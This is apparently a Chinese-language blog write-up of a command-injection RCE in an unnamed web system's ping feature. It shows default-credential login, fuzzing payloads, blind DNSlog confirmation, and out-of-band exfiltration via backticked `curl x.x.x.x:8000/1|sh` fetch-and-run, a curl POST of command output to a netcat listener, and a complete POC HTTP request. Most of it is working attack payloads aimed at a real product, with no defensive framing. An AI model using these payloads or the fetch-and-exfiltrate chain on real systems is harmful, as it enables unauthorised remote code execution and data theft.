background
看见公众号发了个day 搜了一下发现全网首发这个rce啊 其他地方发的都是任意文件读取 文件读取嘛 这个洞没啥太大的卵用 其实 但我看到是php的系统 任意文件读取有时候还是能出货的 读点源码审一下还是可以的
这个rce的poc要钱 其他有的公众号文件读取的还是不要钱的
fuzz
这里主要记录自己测试的过程
准备读点代码来看的 但是运气很好 一来就若进去了一个系统
admin 123456 yyds
这输入不了 是因为我之前fuzz的时候整废了 这个口子命令有问题就废了 只是前端废了 输入不了了
正常发两个包
看看数据包
正常fuzz
addr_value=219&pingname=127.0.0.1|whoami&pingtime=2&packetsize=1 addr_value=219&pingname=127.0.0.1;whoami&pingtime=2&packetsize=1
没反应 回显是白的 前端还卡死了
盲打ping dns
addr_value=219&pingname=127.0.0.1|ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1 addr_value=219&pingname=127.0.0.1;ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1
没反应 一般在这里我以前可能会觉得没货了
这里我直接打一下
addr_value=219&pingname=2222.o6cdky.dnslog.cn&pingtime=2&packetsize=1
dns没货 但是奇怪的是本地竟然有结果
不知道为什么这里dns没货 明明已经解析dns了呀 咋没记录
但是这里发现二级域名是可以回显的
addr_value=219&pingname=`whoami`.o6cdky.dnslog.cn&pingtime=2&packetsize=1
出货
addr_value=219&pingname=`ping qqq.24i49v.dnslog.cn`.o6cdky.dnslog.cn&pingtime=2&packetsize=1
于是呼反引号里面再打 但是没货啊
就在这里执行命令了,但是很多命令没法执行呀 这个回显太奇葩了 很多东西都显示不出来
测了一下正常域名这里是出网的 那干脆打一下vps
addr_value=219&pingname=`curl x.x.x.x:1234`.o6cdky.dnslog.cn&pingtime=2&packetsize=1
出货了 那就直接oob?
python3 -m http.server
里面内容放 文件名1
curl http://xxxx:8000/2`ls -al >1.txt`
然后在搞另一个文件 把结果带出去 文件名2
curl -X POST -F xx=@1.txt http://xxxxx:8001
nc起一个端口
nc -l 8001
burp里发包
addr_value=219&pingname=`curl xxxxx:8000/1|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1
首先会访问1里面的内容并且执行 1里就直接把命令结果写到1.txt了 接着访问2 执行传1.txt的操作
至此 出货 成功外带数据 但这个站不是php写的 不知道公众号的这些东西是怎么来的
完整poc
POST /main/deal HTTP/1.1 Host: Content-Length: 95 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close addr_value=219&pingname=`curl x.x.x.x:8000/2|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1